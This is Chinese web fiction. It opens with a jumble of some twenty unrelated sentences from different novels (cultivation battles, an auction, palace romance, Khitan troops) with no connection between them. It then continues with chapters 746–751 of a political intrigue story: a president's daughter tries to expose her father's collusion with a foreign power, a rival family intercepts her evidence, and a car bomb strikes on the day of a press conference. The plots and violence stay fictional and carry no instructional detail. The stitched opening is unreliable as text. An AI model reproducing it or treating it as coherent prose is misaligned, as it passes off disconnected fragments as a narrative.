“嘿嘿……”鲜血殒命的项飞,不仅不感到害怕,反而嘿嘿冷笑,似乎一点都不在意胸口上的伤势。 秦元江自顾自地说着:“因此,选择结盟、寻找伙伴比起独行要强得多,相互合作,适宜分配功勋点,这样才在能尽可能地保全自己安全的同时也获得功勋点。 一千多年前的人物,被封为第一代张天师,创立龙虎山一脉,在凡人的眼里原本只是传说,可谁又能想到这是真的呢。 看到这一切,就连傻子也知道发生了什么,他的脸,瞬间阴沉了下去,仿佛在蓝天白云之下,艳阳高照之时,陡然风云色变,阴霆密布,乌云低垂。 马车发光,突然间斩出一道璀璨的霞芒,连接天与地,磅礴无比,令整个世界都颤抖了起来。 两人交谈几句,肖萍这个修炼狂人三句不离修为之事,让张元昊不得不找借口搪塞过去,直到孙飞重重地咳嗽一声,两人这才停了下来。 化雷阵之中光华涌动,四周雷霆交织,蔓延数十里地界,虚空深处紫霄神雷光华涌动。甚至引得四周修行的修士纷纷避让开来。 “我八荒楼出五枚还真宝丹。”齐玄易话一出,整个拍卖行都安静起来,这东西确实珍贵,可在场的所有人甚至隐匿在暗处的封号道君、半帝修士都没有办法打开这药师琉璃佛立像。 比起本土海族和鱼龙一族的融合,昆仑海域多重层次的架构,目的性更加的明显,层次结构可以说是一目了然。 佑敬言再也没有了想要睡觉的意思了,端坐在那里开始闭目养神起来,今夜注定又是一场血雨腥风。 王杰有些担忧的看着雷霆,把眼神看向了雷尊者,不知雷霆是否能经受住如此巨大的能量冲击。 “爱妃倒是大度。但朕的心里只有你一人。怎么办呢。”萧梓凌继续添油加醋的说着。同时他还不忘在颖淑妃面前表演一段激情戏。 “咦——这上面竟然还有字?”柳婉柔正在羞涩当中,脑中甚至已经开始想象叶枫当时看到这些东西的画面。 我跟着他上了三楼,就在转身关门的那一刹那,我还是看见了掌柜杀人般的眼神以及满脸的不甘心。 猛烈的寒风吹打着军旗“哗哗”的之响,战马的嘶鸣声打破了晨旭的宁静,一队队整齐的契丹军从军营中鱼贯而出,列阵与大洋河的西岸。 “开玩笑的,开玩笑的。大哥大,你别当真!”九尾好笑的拍起巴达克的马屁。呃,尴尬了,貌似是猴子屁。 鞭子就要落到风倾城身上的时候,沈雅兮将自己的鞭子收了回去,将风倾城狠狠的戏弄了一番。 几人分散开,闻人雅迅速把自己手中的东西倒在这几个地方,然后又从存储戒指之中,拿出另外一个瓷瓶,从窗口跃出用绝顶轻功从客栈墙壁周围走了一圈,低了几滴在客栈的墙壁之上。 这个问题已经不需要李烨来回答了,历史已经证明银元的发行是大势所趋,有铸造的铜钱谁还会使用铜块进行‘交’易,方便实用就是银元能流通的关键,没见到爱伦已经不舍得放下手中的银元了吗? 第746章 心如死灰 鲸港。 余家为三日后的澄清会疯狂造势,以至于记者会尚未开始,热度便已引爆。余斯文还强调,出于对女儿安全的考虑,此次新闻发布会仅邀请了A国新闻界的几位泰山北斗,届时将以直播形式与全国国民见面。 这几日,几乎所有A国资本都在关注余家的动向,尤其是关家。 关鹤刚进屋,便看见特助亲自送走了一批贵客。那些人他大多认识,是此次关家上位的幕后资本。 看来,余家接下来的动作让这些资本都坐不住了。 厅内,关楼正在通电话。关鹤不动声色地坐在一旁,光明正大地偷听。 “消息准确吗?人呢?这件事务必盯仔细了,绝对千万不能出差错。”关楼的声音带着紧迫。 关鹤偷偷打量了关楼一眼,顺手拿了个橘子。等关楼挂了电话,他立刻将剥好的橘子送上前,“爸,是不是余家的事让您烦心?吃个水果,消消火。” 关楼看了他一眼,“你这么大个人了,难道不知道吃橘子上火?” 关鹤嘁了一声,转身把橘子塞进自己嘴里,“爸,你刚刚跟谁打电话?” 关楼深知这傻儿子不靠谱的尿性,站起身严肃道:“这事你不用知道。这几天安分一点,别给我惹事,听见没?” 关鹤翘起二郎腿,一副欠欠的样子,“知~道~了~” 余家。 “咚——咚——” 余笙敲响书房门,“爸爸,是我。” “进来。” 余笙推开房门。余斯文正在打电话,见她进来,指了指偏厅的沙发,自己则起身去了阳台。余笙故意坐在阳台对面,借着屋内的镜面不动声色地观察阳台的动静。 阳台玻璃门的隔音效果极佳。余斯文嘴巴一直在动,但偏厅里一点声音都听不见。他的情绪有些激动,挥舞着手臂,连指尖的烟蒂都簌簌掉落。 余笙默默垂眸。她了解自己的父亲,他自诩是高明的猎人,喜欢不动声色地掌控局面。像这样情绪外泄,必然是对方在步步紧逼,而他已有些无力招架了。 这个电话持续了约二十分钟。余斯文挂断电话时,神色尚未完全调整过来。 片刻后,他捏了捏眉心,推开玻璃门。余笙闻到了一股刺鼻的雪茄味。 余斯文并不爱抽雪茄,唯有心情烦闷时,才会以此提神。 抽这么多,看来问题不小。 “抱歉,有些事,等很久了?”余斯文一脸疲惫,但神色已温和了不少。 余笙站起身,主动给余斯文倒了杯热茶,“爸爸,你怎么了?” “哎。”余斯文轻叹一声,摘下眼镜捏了捏眉心,“那帮强盗,这个节骨眼上他们要修改利益合同,否则将停止对我的资金扶持。” 余笙想了想,一把抓住余斯文的胳膊,眸光热切,“父亲,其实我们可以不靠他们的!沈家莫名其妙被踢出局,这对我们是个机会。关家一向和周家走得近,如果让关楼上位,沈家的利益定会倾斜。再者,沈谦现在丑闻缠身,上升空间已经没有了。只要我们向沈家投诚,得到沈家的支持,你还是……” 余斯文摇头,“那沈庄是什么人?你以为沈家的傀儡就好当了?” “可就算沈家是龙潭虎穴,也好过卖国……” “阿笙!”余斯文听见‘卖国’两个字眼,眼神骤然变得凶狠,冷冷喝止她。 余笙微怔。印象中,父亲从未如此疾言厉色地对待过她。小时候,无论她犯什么错,他都是轻声细语。她最早知晓的那些人生大道理,都是父亲一字一句教给她的。 “我哪里说错了?”她有些茫然地看着眼前的男人。 在她的认知里,既然逃不开做傀儡的命运,那就自己选择当谁的傀儡。沈家就算再恶,也是A国人,斗来斗去无非是权势的转移。可那些S国人不一样,他们掠夺的是国民的资源。若成了他们的傀儡,就是历史的千古罪人了。 余斯文也意识到自己情绪过激,闭眼缓和了一下,才沉声道:“阿笙,现在已经来不及了。他们有……有我联合境外势力签署的协议,还有我收受赃款的所有流水记录。如果我不听他们的,他们会将这些资料公开。到时候,我可能会成为A国历史上第一个被枪决的总统。” 余笙一时不知该说什么,紧紧攥着衣袖的手忽然脱力。 “原本这些,爸爸不想跟你说的。但你是爸爸最亲近的人,我希望你能理解我。”余斯文像往常一样循循善诱,“阿笙,你现在能明白了吗?事情发展到现在,已经不容许我们失败了。” 余笙抬眸,神情麻木,“你刚刚说他们要修改合约,这次的要求是什么?” 余斯文犹豫片刻,“他们希望你宣布慈善大使的身份后,赴S国留学。” 余笙皱眉,“留学?可我好容易才考进了军政学府。” “这倒不是什么大事。就算去S国,爸爸也会替你安排一所顶级学校。” 不是什么大事? 余笙简直不敢相信这句话出自余斯文之口。当初她就是为了能与总统父亲走得更近,才选择考入军政学府,其中付出的心血自不必提,这更是她的梦想啊!怎能用轻飘飘的一句‘不是什么大事’带过? 她看着余斯文,一字一句陈述:“我、不、想、去。” 余斯文并未察觉余笙的变化,只想尽快说服她:“阿笙你听我说,你必须要去!这次上台后,他们牵制我的把柄只会越来越多。等到我没用的那天,他们就会像踢开姚三一样踢开我。” “可姚家有几代积累的人脉,我们什么都没有。若真到那天,我们用什么抗衡?” “这和我去S国留学有什么关系?” 余斯文眼底闪过柔和的光,抬手摸了摸余笙的头,“他们不过是想通过你控制我。我们正好可以利用这点。等你去了S国,我会以你的名义开设几个境外账号。到时候,所有的资金都会转到你的名下。等四年后,我们就带着这笔钱换个地方生活。” 余笙笑了笑。 说得真好听。将资本掠夺的财富通过空壳公司转入她名下的账户,然后再伪造成她是利用总统父亲职位之便“勾结外资掏空国家”。叛国的罪名,就这样悄无声息地转移了。 …… 第747章 送上门的情报 凌晨四点的夜,天际线泛起一层朦胧的灰蓝色,像被水稀释的墨水。 余笙从余斯文的书房回来后,整个人都是木木的,她的脑子里,不会儿是幼时父亲将她抱在怀里悉心教育的模样,一会儿又是余斯文将她推出去挡刀叛国小人的嘴脸。 这两个形象天差地别,连同的思绪都一直处于割裂的状态。 她面无表情看着桌前厚厚的新闻稿,眼里的情绪渐渐沉淀。 如果她是一个听话的女儿,这个时候应该义无反顾听余斯文的话,哪怕他让她去死。可是,她不是,她有自己的思想,也不会成为任何人的垫脚石,哪怕这个人是她的父亲也不行。 既然她做不到,那就只能想办法打破眼前的僵局。 天一亮,余笙把自己收拾干净,将新闻演讲稿塞进背包准备出门。 不想,刚踏出房门,就和余斯文的助理碰了个正着。 余笙故作受惊,拍了拍胸脯,“彭特助,您怎么在这?” 男人笑了笑,扫向她身后的背包。“最近是多事之秋,先生让我负责小姐的安全。小姐是要出门吗?”说着, “是我考虑不周,原本是想去图书馆的,还是不给你们添麻烦了。” 余笙点了点头,转身关上了卧室的门。 沈归灵迟迟不归,她不能再等了,一旦她在新闻发布会承认了慈善大使和留学的事,叛国的罪名就算是跳进黄河洗不清了。原本她打算把这些东西带去沈家,为自己博一个出路,但现在余斯文派人跟踪她,消息根本传不出去。 怎么办? 余笙沉着脸慢慢走进卧室,脑子的思绪不停在转动。 之前那些交好的人都不可靠,她们一定不会愿意帮她。 苏韵?! 苏家和沈家一样都是A国顶级世族,苏韵一定会愿意帮她。 余笙立马从背包里翻出手机,正要拨通号码时动作又僵了下来。 这件事关乎重大,苏韵或许会帮她,但苏敬琉未必。苏家博弈最擅长的就是作壁上观,余家倒台,苏莘的权势只会更大,苏家未必会出手。 所以,真的只剩沈家了。 可是沈家,除了沈归灵有可能会帮她,还有谁? 忽然,余笙想起一串字迹模糊的号码。 -“沈归灵短时间应该不会回来,这是我的联系方式,如果你改变了主意可以随时联系我。” 姜花衫…… * 菊园。 天气热,张茹也不催着她多走了,给她做了不同口味的糖水让她消遣。 电话来的时候,姜花衫正坐在花架下逗小可怜,随意瞟了一眼见是陌生号码也没在意,刚转过头不到一秒,忽然意识到什么,立马拿起电话。 “歪?” 余笙先是沉默了一会儿,才缓缓开口,“是我,余笙。” 姜花衫确认是余笙后大舒了一口气,故作不经意躺了回去,“哦,是余小姐啊,你有什么事吗?” 余笙,“我有话想带给老爷子,能麻烦姜小姐替我联系吗?” 姜花衫一脸为难,“这……恐怕不行啊。” 余笙没想到姜花衫会拒绝,愣了愣才解释说,“姜小姐,我真的有很重要的事,我实在是没有办法了才麻烦你的,就算我求你了,帮帮我吧。” 以余笙的性格,如果不是走投无路说不出这样的话。 姜花衫心里清楚,却还是装出一副不近人情的样子,“余小姐,不是我不帮你,实在是你的要求有些过于为难人呢?你如果转达给沈归灵,我可以帮忙,但爷爷不行。也请你理解我,每天抱着各种心思妄图接近爷爷的人太多了,虽然余小姐未必有恶意,但我却不能冒任何危险。” 余笙无言以对,一时不知道该说什么,但她并不想轻易放弃,久久没有挂电话。 姜花衫眼看时机差不多了,又做出一副善解人意的样子,“如果余小姐信得过我,不如跟我说说什么事吧,只要我确认你没有恶意,你的话我会原封不动带给爷爷。” 余笙还是没有说话,显然是在思考。 不过她思考的时间太久了。 姜花衫有些不耐,“既然如此,余小姐自己想办法……” “姜小姐,我想请沈老爷子救救我……” * 这一通电话打了足足二十分钟,全程基本都是余笙在说话,中途情绪崩溃时,偶尔会有哭泣声传来。姜花衫中途没有插话,只是耐心地听着,即便听见余笙的哭声也没有任何不耐。 临近话别,余笙的情绪缓和了许久,电话里明显能听见吸鼻子的声音,“姜小姐,我可以用生命起誓,我刚刚说的那些话绝无虚言,我有证据可以证明自己。” 姜花衫想了想,平静道,“余小姐,我很同情你的遭遇,但站我的的立场,还是有几个问题不得不问。” “我明白,你问吧。” “新闻上说,三日后你的澄清会将在鲸港国际会议中心举行?消息属实吗?” 余笙原以为姜花衫要问的是关于余斯文勾结的证据,不想竟然是八竿子打不着的问题,虽然不解,但她还是如实相告,“没错,演播厅的图纸我爸爸已经给我确认过了。” “第二个问题,可能有些失礼,但我不得不问。”姜花衫顿了顿,言辞犀利,“你与余斯文是亲生父女,我怎么能相信你是真心揭发,而不是想以此坑害沈家?” 余笙,“我可以提供一个海外账号,以沈家资源一定能查出猫腻,到时候自然能分辨我的诚意。” “好,账号发过来,会有人联系你,说完了?” “姜小姐!” 姜花衫正要挂了电话,余笙忽然喊住她,“姜小姐,请你务必把我的话带给沈老爷子,请老爷子务必救救我,求你了。” “知道了。” 姜花衫挂了电话,抬头望向头顶的艳阳,心道,“抱歉呢,没有爷爷,只有我。” …… 第748章 同袍同泽 姜花衫仰着头。 阳光穿过头顶层叠的枝叶,被交错的脉络细细筛过后在她身上织就了一道流动的金网,光斑如碎金般跳跃,她脑海里的思绪也不觉被牵引。 上一世,余笙在记者发布会上向A国民众宣布了自己将担任《国际助苗基金会》的形象大使,为了督促慈善计划顺利进行,她将远赴S国留学,以身作则推动进展。 记者会上,余斯文眼含热泪,向众人表示,自己其实舍不得送余笙出去,但他身负的重担不得不卸下父亲的身份,因为他还有更多的‘女儿’需要培养,他需要让更多人成为‘余笙’。 见微知著,一个能培养出如此优秀女儿的父亲,人品又能差到哪里去? 消息一出,A国民众的舆论一边倒,民众高呼余笙的大义,为她筑起鲜花路,万万人围堵机场为她送行。 那时的余笙,是A国贵女里最难忘的一抹月光。 她去了S国之后,在政坛崭露头角的机会也越来越多。只是慢慢地,A国人民发现,她和A国的关系逐渐疏远,甚至她会在公开场合抨击余斯文的某些政见。 有人骂她卖国,也有人骂她忘本,但她却置之不理,依旧我行我素。 后来,因为余笙的“背叛”,关于余斯文的上位的黑幕突然被曝光在大众面前,卖国协议,惊天赃款,桩桩件件触目惊心。 A国民众纷纷震怒,全国上下一心讨伐余斯文。终于,余斯文在连任三届之后被赶下了总统台。 此案震惊全球,由A国最高级法院审理。庭审期间,法院要求羁押余笙回国候审,但彼时的余笙已更换为S国国籍,S国以保护公民合法权益为由,替余笙拒绝了出庭的要求。 此消息一出,A国民众对余家这对父女的恨意达到了顶峰,所有人都无法理解,为什么这位曾经的国民月光要自堕泥潭? 但现在,姜花衫好像明白了。 因为,从一开始,余斯文就没有给她活路。 她是背叛了父亲又背叛了A国,但唯一没有背叛的,就是自己。 恋爱脑,是她对余笙最大的误解。 如果她记得没错,同样都是二十芳华的年纪,她和沈兰晞订婚,余笙已经考上了S国的近卫编制,成了白宫女侍。 从一国总统之女到邻国婢女,这落差她受下了,但A国民众忍不了,万万人顺着国际网线追着问候余笙的祖宗十八代。 但那个时候的余笙,已经脱胎换骨,她不但不惧流言谩骂,甚至还挑衅网友,直接晒出一张她端着黄金洗脚盆,跪在白普大帝脚下的照片…… 后来,爷爷身死,沈园分裂,她被放逐小沈园成了独守空房的沈小夫人。 而余笙在这短短的三年间,如飞升般晋级,从一个洗脚婢女走进了女王的帷帐,成了白王宫里为数不多的女王心腹。 姜花衫不曾告诉过任何人,其实她后来在A国遇见过余笙。 那是在南湾,那时的她刚刚被放逐,脑子里的声音还有些不受控制,她不知该怎么办,便想着去淮城看看奶奶。 途经南湾登船时,她无意间在邮轮上看见了余笙,当时和她一起的,还有一个男人。 虽然男人的背影很模糊,但她还是一眼就认出了沈归灵。 当时的她很惊讶,原本想给沈兰晞报信,后来想起自己只是个名副其实的沈小夫人才作罢。 她亲眼看见两人进了同一间房,为了避嫌,她当即转身下了船。 现在想想,她还是过于狭隘了。 因为她的眼里只有情情爱爱,所以她本能地以为一个男人和一个女人独处一室,必定是因为私情。 但真相到底如何?不应该只用眼睛看,因为眼睛是会骗人的,人们心中所想映射的不是事实,而是自己的内心。 余笙对沈归灵有爱意不错,那是因为那份爱意能将她托举到最高处。 平心而论,那个时候的余笙的确比她更有魅力,这世间女子的路本就艰难,有多少人被拦在中途凋谢枯萎,而余笙能走出来,这本身就是一件很了不得的事。 就好比现在,余笙依旧很努力地在拯救自己。 原来,她这么早就反抗过。 姜花衫闭了闭眼,纤细娇嫩的指尖有一搭没一搭地轻点着竹椅上的碎影。 既然目的一致,既然是同袍,既然遇上了,这一次就让她别这么辛苦吧。 * 余笙挂了电话,想也没想便将知道的所有账户及账户的密码编辑成了邮件,抄送给了姜花衫。 姜花衫说会有人联系她,她便哪里都没有去,安心在家里等消息。 但万万没想到,这一等就等了足足三天。 “余小姐,您抿一抿,这样唇色能服帖些。” 余笙像个被操控的傀儡,按照吩咐扯了扯嘴角,眼睛一瞬不瞬地盯着桌上的手机。 还有三个小时就要出席了,姜花衫到底有没有替她转达给沈老爷子? 还是说,她赌错了?老爷子只想要余家下台,并不关心她的死活?! “怦——怦——怦——” 余笙的心跳从来没有如此乱过,仿佛下一秒就要从嗓子眼蹦出来。 化妆师凑得近,听得一愣一愣,定好妆赶紧捧上化妆镜,笑着安抚:“余小姐,您不用紧张,您看看您现在有多漂亮!” “漂亮吗?” 余笙看着镜子里的自己,只觉得陌生得不能再陌生。 也是,这么重要的一出戏,当然要粉墨登场。 “漂亮,我的女儿当然漂亮了。” 人逢喜事精神爽,余斯文一改之前的颓色,西装革履,儒雅得极具欺骗性。 屋里所有人立马放下手里的活儿,上前打招呼。 余斯文摆摆手,扶着余笙的肩膀左右看了看,一脸欣慰:“我的小公主长大了。” 可以拖出去扛刀了。 余笙读出了他内心的独白,十分勉强才挤出一丝笑容,“爸爸,是不是准备出发了?” 余斯文点头,侧身挽起余笙的手,“走吧,记者都在外面等着。” 余笙看着被束缚的胳膊,不断在心里告诫自己要冷静。 沈家不联系她未必就是绝境,姜花衫特意要了一份鲸港国际会议中心的图纸,说不定沈家另有打算。 出了总统府,眼前密密麻麻都是人群。镁光灯闪个不停,余笙就这么眼睁睁看着自己被余斯文推到了公众面前。 余斯文一直保持着得体的微笑,朝众人挥手示意:“辛苦大家了,鲸港歌剧院那边的工作人员还等着,请大家让让。” “鲸港歌剧院?” 余笙一脸错愕,眼里的震惊根本来不及掩饰,“爸爸,我们不是去鲸港会议中心吗?” 余斯文扶了扶眼镜,一派温和的模样,“会议中心的场地出了问题,所以换成了鲸港歌剧院。” 余笙的心骤然如坠寒潭冰窖,喃喃道:“为什么您没有告诉我?” “你现在最重要的是背熟新闻稿,这种小事不知道你分心。走吧,记者会马上就要开始了。” …… 第749章 博弈之争 场地的情报是假的? 余笙的眼睛从错愕到绝望。 那……那些她好不容易偷来的账号,是不是也是假的? 难怪沈家一直没什么动静,原来父亲从一开始就不曾真心信过她。 沈家一定以为她在戏耍他们。 余笙神情麻木地看向人群,拥挤的人潮把整个主席台都包围了,连同她的路也被彻底堵死了。 * 距离记者招待会倒计时 2:00:00 “阿珩!阿珩!” 医院病房的房门猛地一下被人从外面撞开,关鹤一脸兴奋地冲进房间,手舞足蹈地围在周宴珩病床前。 “靠!我听你的话,找人暗中调查姜花衫,你猜怎么着?” 周宴珩微微蹙眉,神情冷漠看着他,“关门。” “……”关鹤的表情就像脱了裤子突然被叫停的渣男,瞪了周宴珩一眼,乖乖跑回去掩上门,幽怨道,“现在可以说了吧?” 病房的床尾摆着一台移动电视,上面正播放着时政频道直播。余斯文为余笙的记者澄清会造足了势,现在几乎所有热门平台都拿到了直播权。 关鹤看着屏幕右上角备注的倒计时提醒,再次凑到床边。 “你怎么也看直播?我还以为你对余家这对父女不感兴趣,难怪你叫我盯着姜花衫。” “是不感兴趣。”周宴珩淡淡应道。 他感兴趣的,是另有其人。 周宴珩微怔,这才反应过来,略微有些意外,“姜花衫和余家父女有牵扯?” 关鹤被他问懵了,“你不是早猜到了,才让我盯着她的吗?” 周宴珩没有接话,眼神锐利。 当初他在医院看见姜花衫和沈眠枝密谈,就隐隐察觉到了不对劲,所以才故意支开关鹤想去探探口风,没想到姜花衫根本不按常理出牌,直接把他打了一顿。 有过上次的前车之鉴,这次,周宴珩并没有这么好忽悠,姜花衫对他下这么狠的手,恰恰说明了她要隐瞒的事情很重要。 所以他事后故意试探沈眠枝,虽然沈眠枝给出的情报十分有限,但他依旧从“暗堂”两个字分析出姜花衫要做的事见不得光,他所以让关鹤暗中监视姜花衫,只是想弄清楚她到底在隐藏什么,没想到误打误撞竟然钓出一条这么大的鱼。 周宴珩缓缓抬眸,“查到什么了?” 关鹤左右看了看,再次亢奋起来,“了不得的东西。一份鲸港会议中心的布防图,十几个境外账户和密码,还有一封余笙写给沈家老爷子的自述信!这封邮件是余笙发给姜花衫的,但被我偷偷拦了下来。” “你看。” 关鹤打开余笙的自述信递给周宴珩。 周宴珩接过手机,目光扫过屏幕。 关鹤高兴地来回踱步,“没想到余斯文竟然这么大胆,敢跟S国幕后资本联盟!这么看来,余笙这次的慈善大使也是他们提前导演好的戏码,有了这些东西,余斯文就等着被枪决吧。” 他像只亢奋的猴,相比起来,周宴珩的冷静沉默得可怕。 关鹤收敛了许多,凑上前,“你怎么了?怎么这个反应?” 周宴珩:“这封邮件是三天前发出去的,也就是说沈家老爷子应该看过了。若是沈家要救余笙,为什么要等到记者会议召开这天?” 一旦余笙承认了慈善大使的身份,卖国的罪名就很难洗清了。 关鹤抓了抓头,“这有什么好奇怪的,沈家不想救呗。有了这些证据,救不救余笙都改变不了余家的结局了。” 周宴珩摇头,忽然想到什么,嘴角扯出一抹玩味,“还有一个可能,沈家老爷子根本不知道。” 关鹤更懵了,“什么意思?你的意思是姜花衫这个狗逼耍了余笙,骗了人家的证据又不想帮忙?嗯,有可能。那狗逼就不是什么好人!” “不,她会出手。” 不然也不会找沈眠枝帮忙。 “切。”关鹤嗤了一声,“她?她出什么手?这又不是沈家宴会扮家家,这是政治博弈!余笙这条路已经是死路了,她一个乳臭未干的黄毛丫头能做什么?我现在就去告诉我爸,反正证据已经有了,赶紧送余斯文上路。” 说完又回头看向周宴珩,“我去了?” 周宴珩,“去吧。不是有布防图吗?有了这份资料,你们要溜进去就不是难事了。不过……告诉伯父,计划最好改一改。” “改计划?”关鹤屁颠屁颠折了回来,“怎么改?” 周宴珩:“帮助余斯文加强防守,千万不要让有心之人带走余笙。只要余笙当着全国民众的面认下慈善大使的身份,余斯文的判刑才能罪加一等。” “哈?为什么?”关鹤眼神清澈,脸上都是没有被智慧污染过的纯真。 “……”周宴珩沉默片刻才勉强解释,“余笙能在这个节骨眼自救,就说明她不是任人摆布的人。她陪在余斯文身边这么久,一定知道余斯文的死穴在哪?父女反目,才能让渔翁之利最大化。” “所以,想要让余斯文没有活路,就必须把余笙逼向死地。” 这只是其一,还有最重要的一个原因。 周宴珩转眸看向眼前的电视屏幕。 既然你想救余笙,我偏就不让你如意。 这,是他和姜花衫之间的博弈。 …… 第750章 鹬蚌相争 -记者招待会倒计时 1:30:00 “爸!爸!” 关鹤火急火燎地从医院赶回家,正好碰见关楼准备出门。 关楼略带不满地睨了他一眼,“一大清早就去医院,以后我住院,你能拿对待周宴珩一半的孝心对我,关家祖坟就算冒青烟了。” 关鹤跑得急,十分吃力地咽了咽嗓子,“好端端的您怎么咒自己?不开玩笑,我特意跑回来是有很重要的事跟您说。” “你?”关楼一脸怀疑,低头看了看时间,“我现在没空,等我回来再说。” 说着,也不管关鹤是什么脸色,转身就要上车。 关鹤眼明手快,一把拉住关楼,将他塞进了后面的SUV。一旁的秘书想跟上去,却被关鹤推了出去,“你上前面那辆车,我和我爸要谈正事。” 关楼对这逆子向来束手无策,捏了捏眉心,有些认命,“说吧,你又给我捅了什么娄子?” 助理见状,立马帮着关上车门,去了前车。 “您少瞧不起人!今儿个我就让您看看,什么叫青出于蓝而胜于蓝。” 关鹤一脸嚣张,打开余笙的自述信递给关楼,“睁大眼睛,看看这是什么?” 关楼额角抽痛,原本想给他一巴掌,转眼看见几个关键词,脸色微变,一把抢过手机,“这东西哪来的?” 关鹤得意洋洋,摇头晃脑,“我从姜花衫的邮箱偷来的。余笙走投无路,想通过姜花衫搭上沈家老爷子那条线,所以才留下了这么重要的证据。” 这套说辞是周宴珩教他的,最大的目的是节约时间。关楼并不信任关鹤,若东西来路不明,他还得花时间验证消息。虽说余家依旧会出局,但并不利于周宴珩阻止姜花衫救人。 关楼一时没有接话,细细看过信上的内容后,眸光冷沉,“还有什么?” 关鹤咧嘴一笑,得意洋洋地点开十几个境外账户,“连密码都有。我已经派人查了,这几年S国几家空头企业不断往这些账号里汇款,陆陆续续差不多有20多个亿,时间恰巧是七八年前,那个时候正是余斯文初登鲸港,山鸡变凤凰的逆袭时刻。虽然这钱转了几道弯,但S国人为了拿捏余斯文不可能洗干净,我已经把每笔账都查出来了。” 关楼眼睛一睁,看向关鹤的眼神颇有些“祖坟冒青烟”的质疑。 “啧!”关鹤咂了咂嘴,“您别这么看着我,这可是铁证。有了它,余家拿什么跟您争?爸,总统之位是您的了。” 政坛波诡云谲,事情突然变得这么顺利,关楼反倒有些不安。 “你是说,这是余笙托沈家那丫头转交给沈老爷子的信?” “是啊。” 关楼摇了摇头,“既是如此,为什么沈家没有一点动静?这可不是沈家老爷子的做派。” 关鹤答道:“阿珩也这么说,所以应该是姜花衫那小人失信了,没有告诉老爷子。” 关楼对姜花衫并不了解,只当她是个被沈庄宠坏的小辈,闻言细细思忖一番,点了点头,“这么说也有道理。” 沈家自沈谦事件后一直闭门谢客。沈家有了证据,什么时候收拾余家都可以,没必要救一个余笙。 关楼眼中闪过一丝光芒,拍了拍关鹤的肩膀,“你小子总算做了件好事。” 说罢,抬头看向副驾驶的助理,“通知他们计划有变,不用绑人了。给我围住所有路口,一个都不许放走。” 关鹤问:“爸,您打算怎么做?” “既然我们手里已经有了余斯文卖国求荣的证据,必须要快刀斩乱麻。那么这场记者会越是盛大,对我们就越是有利。” 关楼看着手里的证据,又看了看面前一脸茫然的关鹤,犹豫片刻,决定还是抢救一下这个已经放弃的逆子,低沉道:“想要迅速解决余斯文,需要两把刀。” “一把是民愤。民众的愤怒大多是盲从,他们现在对余斯文越是信任、越是期待,等到揭发的时候,就越是接受不了。所以,我们不但不能破坏余斯文的表演,还得帮着他把火烧得更旺些。等到烈火烹油,再揭穿他的假面,民众只会感受到被愚弄的愤怒,这股愤怒会让余斯文毫无招架之力。” 关鹤似懂非懂,“难怪阿珩说,要把会场保护起来。” 关楼瞥了他一眼,继续道:“另一把刀就是余笙。到时候为了摆脱叛国的罪名,她会成为刺向余斯文最锋利的一把刀。” 关鹤深以为然,摸了摸下巴,“阿珩也是这么说。” 关楼没好气道:“什么都是阿珩说,你这么大个人了,就不能自己动动脑子?” 关鹤不以为耻,反以为荣,“这不正好显着你们了?” “……”关楼忍着脾气,正要开口。 “砰——” 忽然一声巨响,耳边传来一阵惊天动地的撞击声。 * 另一边,鲸港歌剧院。 早在一天前,这里已经全部清场,连馆内上班的工作人员都被强行调离。现在把守各个关卡通道的,全都是总统侍卫。 演播厅会场已经布置妥当,灯光、摄像、以及事先安排好的记者都已经全部到位。所有人都在紧锣密鼓地做最后的准备工作。 余斯文把余笙带去了演播厅后的休息室。 “阿笙,爸爸先出去了,你好好准备,不用紧张,爸爸就在台下。”说着,转头吩咐助理,“你留下陪小姐。” 等到余斯文离开,余笙才暗暗松了一口气,故作不经意地开口道:“彭特助,能不能把我的手机先给我?我有点紧张,想跟朋友打个电话。” 助理礼貌地回答:“不好意思余小姐,您的手机我落在房间忘记拿了。您稍等,我这就让人去取。” 余笙笑了笑,“不用了,来不及了。” 助理点了点头,“余小姐,还有十分钟,您要不要再看看稿件?” 余笙摇头,“不用。” * 演播厅。 记者、机位、灯光已经准备就绪。 余斯文坐在台下中心位,笑而不语地看着眼前这出巨幕。 工作人员弯腰上前,态度恭谨,“总统先生,现在可以直播现场环境吗?现在所有平台的在线观看人数已经超过千万,观众们一直在呼吁直播倒计时。” 这正是余斯文想看到的,他十分谦虚地笑了笑,“不急,把倒计时的时间设置到最后三十秒。” “是。” 工作人员退下后,一个穿着黑色西装的保镖从外面走了进来,弯腰在余斯文耳侧小声道:“先生,关家那边得手了。” 余斯文镜片闪过一抹逆光,扬起嘴角笑了笑,“好戏开场了。” …… 第751章 全世界的凝视 -记者招待会倒计时:09:00 沈园。 花厅里的青石地面铺着一地碎光,刚刚灌溉过的植物叶片上还倒挂着露珠。鲸港的刀光剑影仿佛到了这里,都悄然止息。 茶室里点着檀香,沈庄躺在紫檀摇椅中闭目养神,沈兰晞端坐在案前沏茶。 厅内静谧,偶尔传来茶汤鼎沸之声。 厅外脚步匆匆,郑松大步走过花厅,“老爷子,刚收到消息,关家的车在立交高架遭遇埋伏,遭到暗杀。现在警方已封锁所有相关道路。” 沈兰晞手腕轻抬,悬壶注水之声戛然而止。沈庄缓缓睁眼,轻叹一声坐起身。沈兰晞神色淡然,双手将茶盏递上。 “爷爷,请用茶。” 沈庄接过茶杯,轻吹汤面,“余斯文还是动手了。” 沈兰晞为自己也斟了一杯,“余斯文早料定关家不会坐视他搭台唱戏,所以故意放出假消息,引诱关楼将注意力全部转向会议中心,再于必经之路上设伏。心思还算缜密。毕竟,谁又能想到一个父亲可以一边看着女儿在台上演讲,一边谋划杀人。” 沈庄轻啜一口,未作评论,抬头对郑松道:“去,把电视搬过来,瞧瞧余家还有什么把戏。” “是。”郑松点头,转身退出花厅。 “爷爷觉得他们谁会赢?”沈兰晞对关、余之争并不感兴趣,他问的是局势。 沈庄摇头,“关楼在官场摸爬滚打一辈子,不像这么沉不住气的人。余斯文有杀招,他就没有底牌?这一局不到最后,还不好说。不过……” 他话语一顿,眼睑微眯,“敢在这个节骨眼下杀手,余斯文是对自己的棋路极有信心啊。” 沈兰晞凝望着手中茶盏,眼眸渐深。 * -记者招待会倒计时:05:00 立交高架。 爆炸动静极大,当时整个桥面都在震颤。警方通过道路天眼第一时间捕捉到这场袭击,首批警署厅警卫不到五分钟就赶抵现场。因涉及国家要员,警方建议立即撤离,却被关楼一口拒绝。 关鹤拍去身上灰尘,面色阴沉地望向那辆被炸得面目全非的轿车,低声道:“有人在车里装了炸弹。” 方才若不是他突发奇想拉着父亲换车,此刻烧成焦炭的便是他们。 